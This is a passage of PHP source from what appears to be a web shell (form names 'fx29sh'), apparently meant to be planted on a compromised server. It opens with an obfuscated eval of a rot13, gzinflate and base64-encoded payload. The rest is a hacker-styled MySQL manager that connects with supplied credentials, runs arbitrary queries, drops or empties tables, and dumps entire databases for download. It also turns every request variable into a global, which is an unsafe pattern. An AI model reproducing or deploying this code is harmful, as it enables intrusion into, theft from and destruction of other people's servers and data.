778 {eval(str_rot13(gzinflate(str_rot13(base64_decode(("tUl7YtpVEP87VXyHiZMr0BLsPJqqgJ14QyBquuNrXEUlEExeeL2E5hZ7wS5pmu9+s7ZWgDM5RCmWJXt0f7Pz3JnJ52lphOsTQ+odbjFOjaGl1CCfWIlGTyPgLguIpQ+VoQKRYD7x8N8mDhsqC/iZRJ9DoxtDqNYDyx4xYA+20BUmvjEF7mw4wlL9WZ8J5o69b6lpcyhg8Qipju+aXkAVo35z+/az5KVGhoozmlEBilhLltbJyVCl6WULvpDx7kNE11lDpQ14NJsKY9hQKEyligc8DHNJFU8xcrXUKgRGV6hWhVooC6xMRCshRH2fz31OLQCfKtyQGVyNpOOg+DflE+hSPAhY+VyXsxRlZ6p3x+qRaWsK2sfqx3B13OZmN4E1QrZ9xuyqqkG5KyaEzCsuidTJdfbJEWEGzOYOE5PAim4j1fEJ/eSOSz7XHm5cqFE2n3bv1XwO4jeYFvfNxmyzNSgkrivclR7zuenIilALjFRpEM65SNzHY2A0nGubQ8Fdv+igZpH2sgfcAblAO6Vpj8lUPkUQYezqhVcB3r2DxaJFKL2AlvDykRjQbmRtpXt90eu0zi/+MJu9U/uijb8VuUxbclBEsBs45k+zkpS3K6iYBVLFaBylnOgI0hRL5Y3FQXRZfmiYBqEwMTNal2AkLeYk59Uya4KEVgfxLZhvd2PP9Djjmxm+i3WCbKyD0jm/ely2bV0lC8ZrMI/PSC4dTjskikOPWSQKiiRBlYk2KBQLancWQQZPKjtVNbgbxDLisK9w5ZNcjAFea4uBWE9P9T1a6/e7mtFxb8YtIi+SxYw7S8EcHX4+7R8bVxyhipKCcTHI0urpvyS8ijMz4sz1Wh6GxcLeoH3wp2nwmR/8RjF/+WNj9+FKVsElEitlvUooy9iV913ikmym133XiZ2pQbgjQUJZQrjEE5mO2peRjLGrIc0EvygbVDwqA/c8J+SOLzB2Q6kSJp0MzIZnS+ZUHcuQxS8P5vT/2KW2meKRHbey2DEnkutEuHe1GtDBZRMI6HD2F8rxaCjBjx+QTxpKDfidRgsLX/VsOyt7Mm/6IohStil49uKEetKv3+73D0KMWDsk3BP0jfIvrUvo8YG21e3o94+7mnP8FXTYGyqXptOW2vVBNe2kdNwiZh+r/Ns6D/N6WPV+vrTAT8slKBWe8WvLrREPoeMLav70RqakveP7ZuvYcdErllZIvvJ77rg0sNlJhj1PnYNCxUdCm/1rPK6MLByKKpbARIhG7ES6OQm5NTdvM7826yo34HbLiMVo85WApX0fXpBkw5+LB9CNtD7hkLPex0rFQBHbKs5S5j2nxQVCGfrXN63ehflb++a622H1zN56+/qm9OpMGzw9o09LDyIMydh1CsuTqb6lvxOKR6yiefbiK97cQF4lre4/idARGdaujmDr5XvpxPQXP/guZC3mu3GcxgGvFiMWRjD2jvXBa3biz+dp/gU="))))));}
779elseif($_GET['do'] == 'metu') {
780
781
782echo '<form action="?dir=$dir&do=metu" method="post">';
783 unset($_SESSION[md5($_SERVER['HTTP_HOST'])]);
784 echo 'Byee !';
785
786}
787elseif($_GET['do'] == 'sql') {
788 echo "
789<table style=width:100%; border=0 class=tabnet cellpadding=3 cellspacing=1 align=center>
790
791 <tr>
792 <td valign=top bgcolor=#151515 class=style2 style=width: 139px>
793 <center><b><font size=5 style=italic color=#00ff00>MySQL Manager</font></b></center></td></tr></table>
794";
795function view_size($size) {
796 if (!is_numeric($size)) { return FALSE; }
797 else {
798if ($size >= 1073741824) {$size = round($size/1073741824*100)/100 ." GB";}
799elseif ($size >= 1048576) {$size = round($size/1048576*100)/100 ." MB";}
800elseif ($size >= 1024) {$size = round($size/1024*100)/100 ." KB";}
801else {$size = $size . " B";}
802return $size;
803 }
804}
805function mysql_dump($set) {
806 $sock = $set["sock"];
807 $db = $set["db"];
808 $print = $set["print"];
809 $nl2br = $set["nl2br"];
810 $file = $set["file"];
811 $add_drop = $set["add_drop"];
812 $tabs = $set["tabs"];
813 $onlytabs = $set["onlytabs"];
814 $ret = array();
815 $ret["err"] = array();
816 if (!is_resource($sock)) {echo("Error: \$sock is not valid resource.");}
817 if (empty($db)) {$db = "db";}
818 if (empty($print)) {$print = 0;}
819 if (empty($nl2br)) {$nl2br = 0;}
820 if (empty($add_drop)) {$add_drop = TRUE;}
821 if (empty($file)) {
822$file = $tmp_dir."dump_".getenv("SERVER_NAME")."_".$db."_".date("d-m-Y-H-i-s").".sql";
823 }
824 if (!is_array($tabs)) {$tabs = array();}
825 if (empty($add_drop)) {$add_drop = TRUE;}
826 if (sizeof($tabs) == 0) {
827$res = mysql_query("SHOW TABLES FROM ".$db, $sock);
828if (mysql_num_rows($res) > 0) {while ($row = mysql_fetch_row($res)) {$tabs[] = $row[0];}}
829 }
830 $out = "
831 # Dumped By ".$xName."
832 # MySQL version: (".mysql_get_server_info().") running on ".getenv("SERVER_ADDR")." (".getenv("SERVER_NAME").")"."
833 # Date: ".date("d.m.Y H:i:s")."
834 # DB: \"".$db."\"
835 #---------------------------------------------------------";
836 $c = count($onlytabs);
837 foreach($tabs as $tab) {
838if ((in_array($tab,$onlytabs)) or (!$c)) {
839 if ($add_drop) {$out .= "DROP TABLE IF EXISTS `".$tab."`;\n";}
840 $res = mysql_query("SHOW CREATE TABLE `".$tab."`", $sock);
841 if (!$res) {$ret["err"][] = mysql_smarterror();}
842 else {
843$row = mysql_fetch_row($res);
844$out .= $row["1"].";\n\n";
845$res = mysql_query("SELECT * FROM `$tab`", $sock);
846if (mysql_num_rows($res) > 0) {
847 while ($row = mysql_fetch_assoc($res)) {
848$keys = implode("`, `", array_keys($row));
849$values = array_values($row);
850foreach($values as $k=>$v) {$values[$k] = addslashes($v);}
851$values = implode("', '", $values);
852$sql = "INSERT INTO `$tab`(`".$keys."`) VALUES ('".$values."');\n";
853$out .= $sql;
854 }
855}
856 }
857}
858 }
859 $out .= "#---------------------------------------------------------------------------------\n\n";
860 if ($file) {
861$fp = fopen($file, "w");
862if (!$fp) {$ret["err"][] = 2;}
863else {
864 fwrite ($fp, $out);
865 fclose ($fp);
866}
867 }
868 if ($print) {if ($nl2br) {echo nl2br($out);} else {echo $out;}}
869 return $out;
870}
871function mysql_buildwhere($array,$sep=" and",$functs=array()) {
872 if (!is_array($array)) {$array = array();}
873 $result = "";
874 foreach($array as $k=>$v) {
875$value = "";
876if (!empty($functs[$k])) {$value .= $functs[$k]."(";}
877$value .= "'".addslashes($v)."'";
878if (!empty($functs[$k])) {$value .= ")";}
879$result .= "`".$k."` = ".$value.$sep;
880 }
881 $result = substr($result,0,strlen($result)-strlen($sep));
882 return $result;
883}
884function mysql_fetch_all($query,$sock) {
885 if ($sock) {$result = mysql_query($query,$sock);}
886 else {$result = mysql_query($query);}
887 $array = array();
888 while ($row = mysql_fetch_array($result)) {$array[] = $row;}
889 mysql_free_result($result);
890 return $array;
891}
892function mysql_smarterror($sock) {
893 if ($sock) { $error = mysql_error($sock); }
894 else { $error = mysql_error(); }
895 $error = htmlspecialchars($error);
896 return $error;
897}
898function mysql_query_form() {
899 global $submit,$sql_x,$sql_query,$sql_query_result,$sql_confirm,$sql_query_error,$tbl_struct;
900 if (($submit) and (!$sql_query_result) and ($sql_confirm)) {if (!$sql_query_error) {$sql_query_error = "Query was empty";} echo "<b>Error:</b> <br>".$sql_query_error."<br>";}
901 if ($sql_query_result or (!$sql_confirm)) {$sql_x = $sql_goto;}
902 if ((!$submit) or ($sql_x)) {
903echo "<table><tr><td><form name=\"fx29sh_sqlquery\" method=POST><b>"; if (($sql_query) and (!$submit)) {echo "Do you really want to";} else {echo "SQL-Query";} echo ":</b><br><br><textarea name=sql_query cols=100 rows=10>".htmlspecialchars($sql_query)."</textarea><br><br><input type=hidden name=x value=sql><input type=hidden name=sql_x value=query><input type=hidden name=sql_tbl value=\"".htmlspecialchars($sql_tbl)."\"><input type=hidden name=submit value=\"1\"><input type=hidden name=\"sql_goto\" value=\"".htmlspecialchars($sql_goto)."\"><input type=submit name=sql_confirm value=\"Yes\"> <input type=submit value=\"No\"></form></td>";
904if ($tbl_struct) {
905 echo "<td valign=\"top\"><b>Fields:</b><br>";
906 foreach ($tbl_struct as $field) {$name = $field["Field"]; echo "+ <a href=\"#\" onclick=\"document.fx29sh_sqlquery.sql_query.value+='`".$name."`';\"><b>".$name."</b></a><br>";}
907 echo "</td></tr></table>";
908}
909 }
910 if ($sql_query_result or (!$sql_confirm)) {$sql_query = $sql_last_query;}
911}
912function mysql_create_db($db,$sock="") {
913 $sql = "CREATE DATABASE `".addslashes($db)."`;";
914 if ($sock) {return mysql_query($sql,$sock);}
915 else {return mysql_query($sql);}
916}
917function mysql_query_parse($query) {
918 $query = trim($query);
919 $arr = explode (" ",$query);
920 $types = array(
921"SELECT"=>array(3,1),
922"SHOW"=>array(2,1),
923"DELETE"=>array(1),
924"DROP"=>array(1)
925 );
926 $result = array();
927 $op = strtoupper($arr[0]);
928 if (is_array($types[$op])) {
929$result["propertions"] = $types[$op];
930$result["query"] = $query;
931if ($types[$op] == 2) {
932 foreach($arr as $k=>$v) {
933if (strtoupper($v) == "LIMIT") {
934 $result["limit"] = $arr[$k+1];
935 $result["limit"] = explode(",",$result["limit"]);
936 if (count($result["limit"]) == 1) {$result["limit"] = array(0,$result["limit"][0]);}
937 unset($arr[$k],$arr[$k+1]);
938}
939 }
940}
941 }
942 else { return FALSE; }
943}
944function disp_error($msg) { echo "<div class=errmsg>$msg</div>\n"; }
945function html_style() {
946$style = ' <style type="text/css"> a { text-decoration:none; } a:hover { color: #00ff00; border-bottom:1px solid #00ff00; } input[type="text"], input[type="password"], select{ background:#111111; border:0; padding:2px; border:1px solid #444444; } input[type="submit"]{ background:#111111; color:#ffffff; margin:0 4px; border:1px solid #444444;} input[type="text"]:hover, input[type="submit"]:hover, input[type="password"]:hover, select:hover{ border-bottom:1px solid #00ff00;border-top:1px solid #00ff00;} .tab { width:100%; } th{ background:#191919; border-bottom:1px solid #333333; font-weight:normal; } .tub { width:100%; } .tub th{ border-bottom:1px solid #00ff00; padding:3px;} .tub tr:hover{ background:#006400; } .tub td{ border-bottom:1px solid #333333; padding-left:3px; } #maininfo { padding:5px; margin-top:10px; margin-left:2px; margin-right:2px; background:#191919; } #maininfo a{ color:#00ff00; } textarea { background:#000000; border:1px solid #444444;} textarea:hover { border:1px solid #00ff00;} </style><center>';
947return $style;
948}
949$auto_surl = TRUE;
950foreach ($_REQUEST as $k => $v) {
951 if (!isset($$k)) { $$k = $v; }
952}
953if ($auto_surl) {
954 $include = "&";
955 foreach (explode("&",getenv("QUERY_STRING")) as $v) {
956$v= explode("=",$v);
957$name= urldecode($v[0]);
958$value= @urldecode($v[1]);
959$needles = array("http://","https://","ssl://","ftp://","\\\\");
960foreach ($needles as $needle) {
961 if (strpos($value,$needle) === 0) {
962$includestr .= urlencode($name)."=".urlencode($value)."&";
963 } } } }
964if (empty($surl)) { $surl = htmlspecialchars("?".@$includestr); }
965if (!isset($x)) { $x = "sql"; }
966 if ($x == "sql") {
967 foreach (array("sort","sql_sort") as $v) {
968if (!empty($_GET[$v])) { $$v = $_GET[$v]; }
969if (!empty($_POST[$v])) { $$v = $_POST[$v]; }
970 }
971 if ($sort_save) {
972if (!empty($sort)) { setcookie("sort",$sort); }
973if (!empty($sql_sort)) { setcookie("sql_sort",$sql_sort); }
974 }
975 if (!isset($sort)) { $sort = $sort_default; }
976 $sort = htmlspecialchars($sort);
977 $sort[1] = strtolower($sort[1]);
978 echo html_style();
979echo "<div id='maininfo'>";
980 if ($x == "sql") {
981 $sql_surl = $surl."x=sql";
982 if (!isset($sql_login)) { $sql_login = ""; }
983 if (!isset($sql_passwd)) { $sql_passwd = ""; }
984 if (!isset($sql_server)) { $sql_server = ""; }
985 if (!isset($sql_port)) { $sql_port = ""; }
986 if (!isset($sql_tbl)) { $sql_tbl = ""; }
987 if (!isset($sql_x)) { $sql_x = ""; }
988 if (!isset($sql_tbl_x)) { $sql_tbl_x = ""; }
989 if (!isset($sql_order)) { $sql_order = ""; }
990 if (!isset($sql_x)) { $sql_x = ""; }
991 if (!isset($sql_getfile)) { $sql_getfile = ""; }
992 if (@$sql_login) { $sql_surl .= "&sql_login=".htmlspecialchars($sql_login); }
993 if (@$sql_passwd) { $sql_surl .= "&sql_passwd=".htmlspecialchars($sql_passwd); }
994 if (@$sql_server) { $sql_surl .= "&sql_server=".htmlspecialchars($sql_server); }
995 if (@$sql_port){ $sql_surl .= "&sql_port=".htmlspecialchars($sql_port); }
996 if (@$sql_db) { $sql_surl .= "&sql_db=".htmlspecialchars($sql_db); }
997 $sql_surl .= "&";
998 echo "";
999 if (@$sql_server) {
1000$sql_sock = @mysql_connect($sql_server.":".$sql_port, $sql_login, $sql_passwd);
1001$err = mysql_smarterror($sql_sock);
1002@mysql_select_db($sql_db,$sql_sock);
1003if (@$sql_query and $submit) {
1004 $sql_query_result = mysql_query($sql_query,$sql_sock);
1005 $sql_query_error = mysql_smarterror($sql_sock);
1006}
1007 }
1008 else { $sql_sock = FALSE; }
1009 if (!$sql_sock) {
1010if (!@$sql_server) { echo "<blink><b><font style= color:#ff0000>No Connection ! ! !</font></b></blink>"; }
1011else { disp_error("ERROR: ".$err); }
1012 }
1013 else {
1014#SQL Quicklaunch
1015$sqlquicklaunch= array();
1016$sqlquicklaunch[] = array("Index",$surl."x=sql&sql_login=".htmlspecialchars($sql_login)."&sql_passwd=".htmlspecialchars($sql_passwd)."&sql_server=".htmlspecialchars($sql_server)."&sql_port=".htmlspecialchars($sql_port)."&");
1017$sqlquicklaunch[] = array("Query",$sql_surl."sql_x=query&sql_tbl=".urlencode($sql_tbl));
1018$sqlquicklaunch[] = array("Server status",$surl."x=sql&sql_login=".htmlspecialchars($sql_login)."&sql_passwd=".htmlspecialchars($sql_passwd)."&sql_server=".htmlspecialchars($sql_server)."&sql_port=".htmlspecialchars($sql_port)."&sql_x=serverstatus");
1019$sqlquicklaunch[] = array("Server variables",$surl."x=sql&sql_login=".htmlspecialchars($sql_login)."&sql_passwd=".htmlspecialchars($sql_passwd)."&sql_server=".htmlspecialchars($sql_server)."&sql_port=".htmlspecialchars($sql_port)."&sql_x=servervars");
1020$sqlquicklaunch[] = array("Processes",$surl."x=sql&sql_login=".htmlspecialchars($sql_login)."&sql_passwd=".htmlspecialchars($sql_passwd)."&sql_server=".htmlspecialchars($sql_server)."&sql_port=".htmlspecialchars($sql_port)."&sql_x=processes");
1021$sqlquicklaunch[] = array("Logout",$surl."x=sql");
1022echo "MySQL ".mysql_get_server_info()." (proto v.".mysql_get_proto_info ().") Server: ".htmlspecialchars($sql_server).":".htmlspecialchars($sql_port)." as ".htmlspecialchars($sql_login)."@".htmlspecialchars($sql_server)." (password - \"".htmlspecialchars($sql_passwd)."\")<br>";
1023if (count($sqlquicklaunch) > 0) {
1024 foreach($sqlquicklaunch as $item) {
1025echo "[ <a href=\"".$item[1]."\">".$item[0]."</a> ] ";
1026 }
1027 }
1028 }
1029echo "</div>";
1030echo "<center><table class='tab'><tr>";
1031 if (!$sql_sock) {
1032 echo '<td>
1033<form name="f_sql" action="'.$surl.'x=sql" method="POST">
1034<input type="hidden" name="x" value="sql">
1035<table class="tabnet" style="padding:1px;">
1036<tr><th colspan="2"><b>MySQL Manager</b></th></tr>
1037<tr><td>Host</td><td><input type="text" name="sql_server" class="inputz" style="width:249px;background:black" value="localhost"></td></tr>
1038<tr><td>Username</td><td><input type="text" name="sql_login" class="inputz" value="" style="width:249px;background:black"></td></tr>
1039<tr><td>Password</td><td><input type="password" name="sql_passwd" class="inputz" value="" style="width:249px;background:black;"></td></tr>
1040<tr><td>Database</td><td><input type="text" name="sql_db" value="" class="inputz" style="width:249px;background:black"></td></tr>
1041<tr><td>Port</td><td><input type="text" name="sql_port" class="inputz" value="3306" style="background:black;" size="6"> <input type="submit" class="inputzbut" style=color:$color value="Connect"></td></tr>
1042</table>
1043</form>';
1044 }
1045 else {
1046 echo '<td valign="top" style="border:1px solid #333333;">
1047<center>
1048<a href="'.$sql_surl.'"><b style="color:#00ff00;">HOME</b></a>
1049<hr size="1" noshade>';
1050 $result = mysql_list_dbs($sql_sock);
1051 if (!$result) { echo mysql_smarterror(); }
1052 else {
1053 echo '<form action="'.$surl.'x=sql">
1054<input type="hidden" name="x" value="sql">
1055<input type="hidden" name="sql_login" value="'.htmlspecialchars($sql_login).'">
1056<input type="hidden" name="sql_passwd" value="'.htmlspecialchars($sql_passwd).'">
1057<input type="hidden" name="sql_server" value="'.htmlspecialchars($sql_server).'">
1058<input type="hidden" name="sql_port" value="'.htmlspecialchars($sql_port).'">
1059<select name="sql_db" onchange="this.form.submit()" style="width:100%;">';
1060$c = 0;
1061$dbs = "";
1062while ($row = mysql_fetch_row($result)) {
1063 $dbs .= "\t\t<option value=\"".$row[0]."\"";
1064 if (@$sql_db == $row[0]) { $dbs .= " selected"; }
1065 $dbs .= ">".$row[0]."</option>\n";
1066 $c++;
1067}
1068echo "\t\t<option value=\"\">Databases (".$c.")</option>\n";
1069echo $dbs;
1070 }
1071echo '</select>
1072<hr size="1" noshade>
1073</form>
1074</center>';
1075if (isset($sql_db)) {
1076 $result = mysql_list_tables($sql_db);
1077 if (!$result) {
1078$result = mysql_list_dbs($sql_sock);
1079$num = mysql_num_rows($result);
1080for( $i = 0; $i < $num; $i++ ) {
1081$dbname = mysql_dbname( $result, $i );
1082echo "<table class='tab'><td style='background:#3F3F3F;border:1px solid #202020;border-top: 1px solid #505050;border-left: 1px solid #505050;'><b>+ <a href=\"".$sql_surl."sql_db=".$dbname."\">$dbname</a></b></td></table>"; } }
1083 else {
1084echo "\t<table class='tub'><th><a href=\"".$sql_surl."&\"><b>".htmlspecialchars($sql_db)."</b></a></th></table><br>\n";
1085$c = 0;
1086while ($row = mysql_fetch_array($result)) {
1087 $count = mysql_query ("SELECT COUNT(*) FROM ".$row[0]);
1088 $count_row = mysql_fetch_array($count);
1089 echo "\t<b>+ <a style='color:#00ff00;' href=\"".$sql_surl."sql_db=".htmlspecialchars($sql_db)."&sql_tbl=".htmlspecialchars($row[0])."\">".htmlspecialchars($row[0])."</a></b> (".$count_row[0].")</br></b>\n";
1090 mysql_free_result($count);
1091 $c++;
1092}
1093if (!$c) { echo "No tables found in database"; }
1094 }
1095}
1096echo '</td>';
1097echo '<td style="border:1px solid #333333;">';
1098$diplay = TRUE;
1099if (@$sql_db) {
1100 if (!is_numeric($c)) { $c = 0; }
1101 if ($c == 0) { $c = "no"; }
1102 echo "\t<center><b>There are ".$c." table(s) in database: ".htmlspecialchars($sql_db)."";
1103 if (count(@$dbquicklaunch) > 0) {
1104foreach($dbsqlquicklaunch as $item) {
1105 echo "[ <a href=\"".$item[1]."\">".$item[0]."</a> ] ";
1106}
1107 }
1108 echo "</b></center>\n";
1109 $xs = array("","dump");
1110 if ($sql_x == "tbldrop") {$sql_query = "DROP TABLE"; foreach($boxtbl as $v) {$sql_query .= "\n`".$v."` ,";} $sql_query = substr($sql_query,0,-1).";"; $sql_x = "query";}
1111 elseif ($sql_x == "tblempty") {$sql_query = ""; foreach($boxtbl as $v) {$sql_query .= "DELETE FROM `".$v."` \n";} $sql_x = "query";}
1112 elseif ($sql_x == "tbldump") {if (count($boxtbl) > 0) {$dmptbls = $boxtbl;} elseif($thistbl) {$dmptbls = array($sql_tbl);} $sql_x = "dump";}
1113 elseif ($sql_x == "tblcheck") {$sql_query = "CHECK TABLE"; foreach($boxtbl as $v) {$sql_query .= "\n`".$v."` ,";} $sql_query = substr($sql_query,0,-1).";"; $sql_x = "query";}
1114 elseif ($sql_x == "tbloptimize") {$sql_query = "OPTIMIZE TABLE"; foreach($boxtbl as $v) {$sql_query .= "\n`".$v."` ,";} $sql_query = substr($sql_query,0,-1).";"; $sql_x = "query";}
1115 elseif ($sql_x == "tblrepair") {$sql_query = "REPAIR TABLE"; foreach($boxtbl as $v) {$sql_query .= "\n`".$v."` ,";} $sql_query = substr($sql_query,0,-1).";"; $sql_x = "query";}
1116 elseif ($sql_x == "tblanalyze") {$sql_query = "ANALYZE TABLE"; foreach($boxtbl as $v) {$sql_query .= "\n`".$v."` ,";} $sql_query = substr($sql_query,0,-1).";"; $sql_x = "query";}
1117 elseif ($sql_x == "deleterow") {$sql_query = ""; if (!empty($boxrow_all)) {$sql_query = "DELETE * FROM `".$sql_tbl."`;";} else {foreach($boxrow as $v) {$sql_query .= "DELETE * FROM `".$sql_tbl."` WHERE".$v." LIMIT 1;\n";} $sql_query = substr($sql_query,0,-1);} $sql_x = "query";}
1118 elseif ($sql_tbl_x == "insert") {
1119if ($sql_tbl_insert_radio == 1) {
1120 $keys = "";
1121 $akeys = array_keys($sql_tbl_insert);
1122 foreach ($akeys as $v) {$keys .= "`".addslashes($v)."`, ";}
1123 if (!empty($keys)) {$keys = substr($keys,0,strlen($keys)-2);}
1124 $values = "";
1125 $i = 0;
1126 foreach (array_values($sql_tbl_insert) as $v) {if ($funct = $sql_tbl_insert_functs[$akeys[$i]]) {$values .= $funct." (";} $values .= "'".addslashes($v)."'"; if ($funct) {$values .= ")";} $values .= ", "; $i++;}
1127 if (!empty($values)) {$values = substr($values,0,strlen($values)-2);}
1128 $sql_query = "INSERT INTO `".$sql_tbl."` ( ".$keys." ) VALUES ( ".$values." );";
1129 $sql_x = "query";
1130 $sql_tbl_x = "browse";
1131}
1132elseif ($sql_tbl_insert_radio == 2) {
1133 $set = mysql_buildwhere($sql_tbl_insert,", ",$sql_tbl_insert_functs);
1134 $sql_query = "UPDATE `".$sql_tbl."` SET ".$set." WHERE ".$sql_tbl_insert_q." LIMIT 1;";
1135 $result = mysql_query($sql_query) or print(mysql_smarterror());
1136 $result = mysql_fetch_array($result, MYSQL_ASSOC);
1137 $sql_x = "query";
1138 $sql_tbl_x = "browse";
1139}
1140 }
1141 if ($sql_x == "query") {
1142echo "<hr size=\"1\" noshade>";
1143if (($submit) and (!$sql_query_result) and ($sql_confirm)) {if (!$sql_query_error) {$sql_query_error = "Query was empty";} echo "<b>Error:</b> <br>".$sql_query_error."<br>";}
1144if ($sql_query_result or (!$sql_confirm)) {$sql_x = $sql_goto;}
1145if ((!$submit) or ($sql_x)) { echo "<table class='tab'><tr><td><form action=\"".$sql_surl."\" method=\"POST\"><b>"; if (($sql_query) and (!$submit)) {echo "Do you really want to:";} else {echo "SQL-Query :";} echo "</b><br><br><textarea name=\"sql_query\" cols=\"100\" rows=\"10\">".htmlspecialchars($sql_query)."</textarea><br><br><input type=\"hidden\" name=\"sql_x\" value=\"query\"><input type=\"hidden\" name=\"sql_tbl\" value=\"".htmlspecialchars($sql_tbl)."\"><input type=\"hidden\" name=\"submit\" value=\"1\"><input type=\"hidden\" name=\"sql_goto\" value=\"".htmlspecialchars($sql_goto)."\"><input type=\"submit\" name=\"sql_confirm\" value=\"Yes\"> <input type=\"submit\" value=\"No\"></form></td></tr></table>"; }
1146 }
1147 if (in_array($sql_x,$xs)) {
1148echo '<table class="tab">
1149<tr>
1150<td style="border:1px solid #333333;padding:3px;">
1151<b>Create new table:</b>
1152<form action="'.$surl.'">
1153<input type="hidden" name="x" value="sql">
1154<input type="hidden" name="sql_x" value="newtbl">
1155<input type="hidden" name="sql_db" value="'.htmlspecialchars($sql_db).'">
1156<input type="hidden" name="sql_login" value="'.htmlspecialchars($sql_login).'">
1157<input type="hidden" name="sql_passwd" value="'.htmlspecialchars($sql_passwd).'">
1158<input type="hidden" name="sql_server" value="'.htmlspecialchars($sql_server).'">
1159<input type="hidden" name="sql_port" value="'.htmlspecialchars($sql_port).'">
1160<input type="text" name="sql_newtbl" size="20">
1161Fields: <input type="text" name="sql_field" size="3">
1162<input class="inputzbut" type="submit" value="Create">
1163</form>
1164</td>
1165<td style="border:1px solid #333333;padding:3px;"><b>Dump DB:</b>
1166<form action="'.$surl.'">
1167<input type="hidden" name="x" value="sql">
1168<input type="hidden" name="sql_x" value="dump">
1169<input type="hidden" name="sql_db" value="'.htmlspecialchars($sql_db).'">
1170<input type="hidden" name="sql_login" value="'.htmlspecialchars($sql_login).'">
1171<input type="hidden" name="sql_passwd" value="'.htmlspecialchars($sql_passwd).'">
1172<input type="hidden" name="sql_server" value="'.htmlspecialchars($sql_server).'">
1173<input type="hidden" name="sql_port" value="'.htmlspecialchars($sql_port).'">
1174<input type="text" name="dump_file" size="30" value="dump_'.getenv("SERVER_NAME").'_'.$sql_db.'_'.date("d-m-Y-H-i-s").'.sql">
1175<input type="submit" class="inputzbut" name="submit" value="Dump">
1176</form>
1177</td>
1178</tr>
1179</table>';
1180if (!empty($sql_x)) { echo "<hr size=\"1\" noshade>"; }
1181if ($sql_x == "newtbl") {
1182 echo "<b>";
1183 if ((mysql_create_db ($sql_newdb)) and (!empty($sql_newdb))) {
1184echo "DB \"".htmlspecialchars($sql_newdb)."\" has been created with success!</b><br>";
1185 }
1186 else { echo "Can't create DB \"".htmlspecialchars($sql_newdb)."\".<br>Reason:</b> ".mysql_smarterror(); }
1187}
1188elseif ($sql_x == "dump") {
1189 if (empty($submit)) {
1190$diplay = FALSE;
1191echo "<form method=\"GET\"><input type=\"hidden\" name=\"x\" value=\"sql\"><input type=\"hidden\" name=\"sql_x\" value=\"dump\"><input type=\"hidden\" name=\"sql_db\" value=\"".htmlspecialchars($sql_db)."\"><input type=\"hidden\" name=\"sql_login\" value=\"".htmlspecialchars($sql_login)."\"><input type=\"hidden\" name=\"sql_passwd\" value=\"".htmlspecialchars($sql_passwd)."\"><input type=\"hidden\" name=\"sql_server\" value=\"".htmlspecialchars($sql_server)."\"><input type=\"hidden\" name=\"sql_port\" value=\"".htmlspecialchars($sql_port)."\"><input type=\"hidden\" name=\"sql_tbl\" value=\"".htmlspecialchars($sql_tbl)."\"><b>SQL-Dump:</b><br><br>";
1192echo "<b>DB:</b> <input type=\"text\" name=\"sql_db\" value=\"".urlencode($sql_db)."\"><br><br>";
1193$v = join (";",$dmptbls);
1194echo "<b>Only tables (explode \";\") :</b> <input type=\"text\" name=\"dmptbls\" value=\"".htmlspecialchars($v)."\" size=\"".(strlen($v)+5)."\"><br><br>";
1195if ($dump_file) {$tmp = $dump_file;}
1196else {$tmp = htmlspecialchars("./dump_".getenv("SERVER_NAME")."_".$sql_db."_".date("d-m-Y-H-i-s").".sql");}
1197echo "<b>File:</b> <input type=\"text\" name=\"sql_dump_file\" value=\"".$tmp."\" size=\"".(strlen($tmp)+strlen($tmp) % 30)."\"><br><br>";
1198echo "<b>Download: </b> <input type=\"checkbox\" name=\"sql_dump_download\" value=\"1\" checked><br><br>";
1199echo "<b>Save to file: </b> <input type=\"checkbox\" name=\"sql_dump_savetofile\" value=\"1\" checked>";
1200echo "<br><br><input class=\"inputzbut\" type=\"submit\" name=\"submit\" value=\"Dump\">";
1201echo "</form>";
1202 }
1203 else {
1204$diplay = TRUE; $set = array(); $set["sock"] = $sql_sock; $set["db"] = $sql_db; $dump_out = "download"; $set["print"] = 0;
1205$set["nl2br"] = 0; $set[""] = 0; $set["file"] = $dump_file; $set["add_drop"] = TRUE; $set["onlytabs"] = array();
1206if (!empty($dmptbls)) {$set["onlytabs"] = explode(";",$dmptbls);}
1207$ret = mysql_dump($set);
1208if ($sql_dump_download) {
1209 @ob_clean();
1210 header("Content-type: application/octet-stream");
1211 header("Content-length: ".strlen($ret));
1212 header("Content-disposition: attachment; filename=\"".basename($sql_dump_file)."\";");
1213 echo $ret;
1214 exit;
1215}
1216elseif ($sql_dump_savetofile) {
1217 $fp = fopen($sql_dump_file,"w");
1218 if (!$fp) {echo "<b>Dump error! Can't write to \"".htmlspecialchars($sql_dump_file)."\"!";}
1219 else {
1220fwrite($fp,$ret);
1221fclose($fp);
1222echo "<b>Dumped! Dump has been writed to \"".htmlspecialchars(realpath($sql_dump_file))."\" (".view_size(filesize($sql_dump_file)).")</b>.";
1223 }
1224}
1225else {echo "<b>Dump: nothing to do!</b>";}
1226 }
1227}
1228if ($diplay) {
1229 if (!empty($sql_tbl)) {
1230 if (empty($sql_tbl_x)) {$sql_tbl_x = "browse";}
1231 $count = mysql_query("SELECT COUNT(*) FROM `".$sql_tbl."`;");
1232 $count_row = mysql_fetch_array($count);
1233 mysql_free_result($count);
1234 $tbl_struct_result = mysql_query("SHOW FIELDS FROM `".$sql_tbl."`;");
1235$tbl_struct_fields = array();
1236while ($row = mysql_fetch_assoc($tbl_struct_result)) {$tbl_struct_fields[] = $row;}
1237 if (@$sql_ls > @$sql_le) { $sql_le = $sql_ls + $perpage; }
1238 if (empty($sql_tbl_page)) { $sql_tbl_page = 0; }
1239 if (empty($sql_tbl_ls)) { $sql_tbl_ls = 0; }
1240 if (empty($sql_tbl_le)) { $sql_tbl_le = 30; }
1241 $perpage = $sql_tbl_le - $sql_tbl_ls;
1242 if (!is_numeric($perpage)) { $perpage = 10; }
1243 $numpages = $count_row[0]/$perpage;
1244 $e = explode(" ",$sql_order);
1245 if (count($e) == 2) {
1246if ($e[0] == "d") { $asc_desc = "DESC"; }
1247else { $asc_desc = "ASC"; }
1248$v = "ORDER BY `".$e[1]."` ".$asc_desc." ";
1249 }
1250 else {$v = "";}
1251 $query = "SELECT * FROM `".$sql_tbl."` ".$v."LIMIT ".$sql_tbl_ls." , ".$perpage."";
1252 $result = mysql_query($query) or print(mysql_smarterror());
1253 echo "<center><b>Table ".htmlspecialchars($sql_tbl)." (".mysql_num_fields($result)." cols and ".$count_row[0]." rows)</b></center>";
1254 echo "<hr size=\"1\" noshade>";
1255 echo "<a href=\"".$sql_surl."sql_tbl=".urlencode($sql_tbl)."&sql_tbl_x=structure\">[<b> Structure </b>]</a> ";
1256 echo "<a href=\"".$sql_surl."sql_tbl=".urlencode($sql_tbl)."&sql_tbl_x=browse\">[<b> Browse </b>]</a> ";
